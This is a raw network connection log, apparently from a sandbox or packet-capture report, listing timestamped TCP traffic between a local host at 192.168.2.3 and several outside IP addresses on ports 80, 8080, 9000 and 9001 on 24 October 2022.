Oct 24, 2022 11:09:04.357441902 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357480049 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.384666920 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.384706974 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.384730101 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.384752989 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.384776115 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.384798050 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.384821892 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.384836912 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.384850025 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.384872913 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.384896994 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.384912014 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.384918928 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.384941101 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.384943962 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.384974957 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.385416985 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.385448933 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.385471106 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.385476112 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.385494947 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.385519028 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.385519028 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.385545015 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.385581017 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.385636091 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.385659933 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.385684013 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.385685921 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.385710955 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.385734081 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.385751009 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.385756969 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.385782003 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.385905027 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.385931015 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.385958910 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.385970116 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.385993958 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386017084 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386029959 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.386044025 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386069059 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386071920 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.386091948 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386115074 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.386116028 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386142015 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386173964 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386181116 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.386198044 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386221886 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386245012 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.386256933 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386281013 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386281013 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.386305094 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386322021 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.386327982 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386353016 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386375904 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386389971 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.386399031 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386421919 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386435986 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.386446953 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386471987 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386471987 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.386497021 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386518002 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.386522055 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386545897 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386569023 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386590958 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.386591911 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386619091 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386629105 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.386650085 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386674881 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.386677027 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386703014 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386725903 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386739016 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.386750937 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386776924 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386776924 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.386800051 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386823893 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386831999 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.386850119 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386873960 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386893034 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.386910915 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386935949 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386940002 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.386969090 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.386992931 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387016058 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387020111 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.387042046 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387052059 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.387068033 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387093067 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387094975 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.387115955 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387140036 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387164116 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387168884 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.387190104 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387193918 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.387216091 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387242079 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387265921 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387273073 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.387290955 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387294054 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.387315989 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387340069 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387350082 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.387367010 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387391090 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387394905 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.387417078 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387468100 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387494087 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387516022 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387537003 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387558937 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387567997 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.387584925 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387603998 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.387614012 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387638092 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387658119 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387665987 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.387686014 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387700081 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.387712955 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387739897 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387764931 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387773037 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.387773037 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.387785912 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387809038 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387810946 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.387830019 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387851000 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.387852907 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387872934 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387891054 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387907028 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.387916088 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387933969 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.387940884 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387959003 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387975931 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.387995005 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.388004065 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.388017893 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.388039112 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.388040066 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.388061047 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.388067007 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.388082027 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.388103008 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.388108015 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.388123989 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.388144970 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.388148069 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.388165951 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.388183117 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.388202906 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.388205051 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.388236046 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.412242889 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412275076 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412292957 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412308931 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412326097 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412343979 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412362099 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412384033 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412403107 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412409067 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.412420034 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412439108 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412465096 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.412465096 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.412482977 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.412549019 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412568092 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412585020 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412601948 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412619114 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412631989 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.412635088 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412661076 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.412678003 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.412782907 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412802935 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412837982 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412856102 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412872076 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.412894011 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412904978 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.412913084 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.412956953 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.415168047 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.415210009 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.415237904 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.415265083 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.415292978 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.415302992 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.415324926 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.415349007 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.415355921 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.415385008 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.415410042 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.415410995 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.415437937 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.415440083 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.418185949 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:05.133577108 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:05.139261961 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:05.166456938 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:09.440150976 CEST	49702	8080	192.168.2.3	104.131.11.214
Oct 24, 2022 11:09:09.541827917 CEST	8080	49702	104.131.11.214	192.168.2.3
Oct 24, 2022 11:09:09.542093039 CEST	49702	8080	192.168.2.3	104.131.11.214
Oct 24, 2022 11:09:09.542884111 CEST	49702	8080	192.168.2.3	104.131.11.214
Oct 24, 2022 11:09:09.644134045 CEST	8080	49702	104.131.11.214	192.168.2.3
Oct 24, 2022 11:09:09.645684004 CEST	8080	49702	104.131.11.214	192.168.2.3
Oct 24, 2022 11:09:09.653031111 CEST	49702	8080	192.168.2.3	104.131.11.214
Oct 24, 2022 11:09:09.755007029 CEST	8080	49702	104.131.11.214	192.168.2.3
Oct 24, 2022 11:09:09.767254114 CEST	49702	8080	192.168.2.3	104.131.11.214
Oct 24, 2022 11:09:09.869309902 CEST	8080	49702	104.131.11.214	192.168.2.3
Oct 24, 2022 11:09:09.869343996 CEST	8080	49702	104.131.11.214	192.168.2.3
Oct 24, 2022 11:09:09.869417906 CEST	49702	8080	192.168.2.3	104.131.11.214
Oct 24, 2022 11:09:09.869590044 CEST	49702	8080	192.168.2.3	104.131.11.214
Oct 24, 2022 11:09:09.876651049 CEST	49703	80	192.168.2.3	194.5.96.70
Oct 24, 2022 11:09:09.932024956 CEST	80	49703	194.5.96.70	192.168.2.3
Oct 24, 2022 11:09:09.932279110 CEST	49703	80	192.168.2.3	194.5.96.70
Oct 24, 2022 11:09:09.932550907 CEST	49703	80	192.168.2.3	194.5.96.70
Oct 24, 2022 11:09:09.984437943 CEST	80	49703	194.5.96.70	192.168.2.3
Oct 24, 2022 11:09:10.001878023 CEST	80	49703	194.5.96.70	192.168.2.3
Oct 24, 2022 11:09:10.001921892 CEST	80	49703	194.5.96.70	192.168.2.3
Oct 24, 2022 11:09:10.002732038 CEST	80	49703	194.5.96.70	192.168.2.3
Oct 24, 2022 11:09:10.002762079 CEST	49703	80	192.168.2.3	194.5.96.70
Oct 24, 2022 11:09:10.002914906 CEST	49703	80	192.168.2.3	194.5.96.70
Oct 24, 2022 11:09:10.004667044 CEST	49703	80	192.168.2.3	194.5.96.70
Oct 24, 2022 11:09:10.015053988 CEST	8080	49702	104.131.11.214	192.168.2.3
Oct 24, 2022 11:09:10.015352964 CEST	49702	8080	192.168.2.3	104.131.11.214
Oct 24, 2022 11:09:10.055179119 CEST	80	49703	194.5.96.70	192.168.2.3
Oct 24, 2022 11:09:10.116796017 CEST	8080	49702	104.131.11.214	192.168.2.3
Oct 24, 2022 11:09:10.117532969 CEST	8080	49702	104.131.11.214	192.168.2.3
Oct 24, 2022 11:09:10.124497890 CEST	49704	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:09:10.178711891 CEST	49702	8080	192.168.2.3	104.131.11.214
Oct 24, 2022 11:09:12.728856087 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:12.830544949 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:12.831346989 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:12.831820011 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:12.933367014 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:13.178802013 CEST	49704	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:09:14.104504108 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:14.120609045 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:14.222271919 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:14.260435104 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:14.267921925 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:14.369534969 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:14.456566095 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:14.456593990 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:14.456685066 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:14.456824064 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:14.460608959 CEST	49706	80	192.168.2.3	185.35.202.222
Oct 24, 2022 11:09:14.465568066 CEST	49707	9000	192.168.2.3	195.60.166.2
Oct 24, 2022 11:09:14.490931988 CEST	9000	49707	195.60.166.2	192.168.2.3
Oct 24, 2022 11:09:14.491065979 CEST	49707	9000	192.168.2.3	195.60.166.2
Oct 24, 2022 11:09:14.491702080 CEST	49707	9000	192.168.2.3	195.60.166.2
Oct 24, 2022 11:09:14.501537085 CEST	80	49706	185.35.202.222	192.168.2.3
Oct 24, 2022 11:09:14.501671076 CEST	49706	80	192.168.2.3	185.35.202.222
Oct 24, 2022 11:09:14.501950026 CEST	49706	80	192.168.2.3	185.35.202.222
Oct 24, 2022 11:09:14.516788006 CEST	9000	49707	195.60.166.2	192.168.2.3
Oct 24, 2022 11:09:14.542793036 CEST	80	49706	185.35.202.222	192.168.2.3
Oct 24, 2022 11:09:14.543040991 CEST	80	49706	185.35.202.222	192.168.2.3
Oct 24, 2022 11:09:14.543060064 CEST	80	49706	185.35.202.222	192.168.2.3
Oct 24, 2022 11:09:14.543075085 CEST	80	49706	185.35.202.222	192.168.2.3
Oct 24, 2022 11:09:14.543207884 CEST	49706	80	192.168.2.3	185.35.202.222
Oct 24, 2022 11:09:14.543273926 CEST	49706	80	192.168.2.3	185.35.202.222
Oct 24, 2022 11:09:14.543596983 CEST	49706	80	192.168.2.3	185.35.202.222
Oct 24, 2022 11:09:14.558212042 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:14.558383942 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:14.584494114 CEST	80	49706	185.35.202.222	192.168.2.3
Oct 24, 2022 11:09:14.659949064 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:14.790471077 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:14.804836035 CEST	49708	80	192.168.2.3	92.222.79.186
Oct 24, 2022 11:09:14.824843884 CEST	80	49708	92.222.79.186	192.168.2.3
Oct 24, 2022 11:09:14.825000048 CEST	49708	80	192.168.2.3	92.222.79.186
Oct 24, 2022 11:09:14.825323105 CEST	49708	80	192.168.2.3	92.222.79.186
Oct 24, 2022 11:09:14.845072031 CEST	80	49708	92.222.79.186	192.168.2.3
Oct 24, 2022 11:09:14.882164001 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:16.803009033 CEST	80	49708	92.222.79.186	192.168.2.3
Oct 24, 2022 11:09:16.803041935 CEST	80	49708	92.222.79.186	192.168.2.3
Oct 24, 2022 11:09:16.803195953 CEST	49708	80	192.168.2.3	92.222.79.186
Oct 24, 2022 11:09:17.376077890 CEST	49708	80	192.168.2.3	92.222.79.186
Oct 24, 2022 11:09:17.377048016 CEST	49709	80	192.168.2.3	199.249.230.177
Oct 24, 2022 11:09:17.397113085 CEST	80	49708	92.222.79.186	192.168.2.3
Oct 24, 2022 11:09:17.539760113 CEST	80	49709	199.249.230.177	192.168.2.3
Oct 24, 2022 11:09:17.539951086 CEST	49709	80	192.168.2.3	199.249.230.177
Oct 24, 2022 11:09:17.591484070 CEST	49709	80	192.168.2.3	199.249.230.177
Oct 24, 2022 11:09:17.753457069 CEST	80	49709	199.249.230.177	192.168.2.3
Oct 24, 2022 11:09:18.058859110 CEST	80	49709	199.249.230.177	192.168.2.3
Oct 24, 2022 11:09:18.058932066 CEST	80	49709	199.249.230.177	192.168.2.3
Oct 24, 2022 11:09:18.058954954 CEST	80	49709	199.249.230.177	192.168.2.3
Oct 24, 2022 11:09:18.059068918 CEST	49709	80	192.168.2.3	199.249.230.177
Oct 24, 2022 11:09:18.154664040 CEST	49709	80	192.168.2.3	199.249.230.177
Oct 24, 2022 11:09:18.155127048 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:18.256737947 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:18.315723896 CEST	80	49709	199.249.230.177	192.168.2.3
Oct 24, 2022 11:09:18.923892021 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:19.148117065 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:19.257505894 CEST	49704	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:09:19.719465017 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:19.821288109 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:20.198415041 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:20.200737000 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:20.279519081 CEST	80	49704	86.59.21.38	192.168.2.3
Oct 24, 2022 11:09:20.279639006 CEST	49704	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:09:20.279861927 CEST	49704	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:09:20.302386999 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:20.456058979 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:20.469293118 CEST	49710	80	192.168.2.3	199.249.230.161
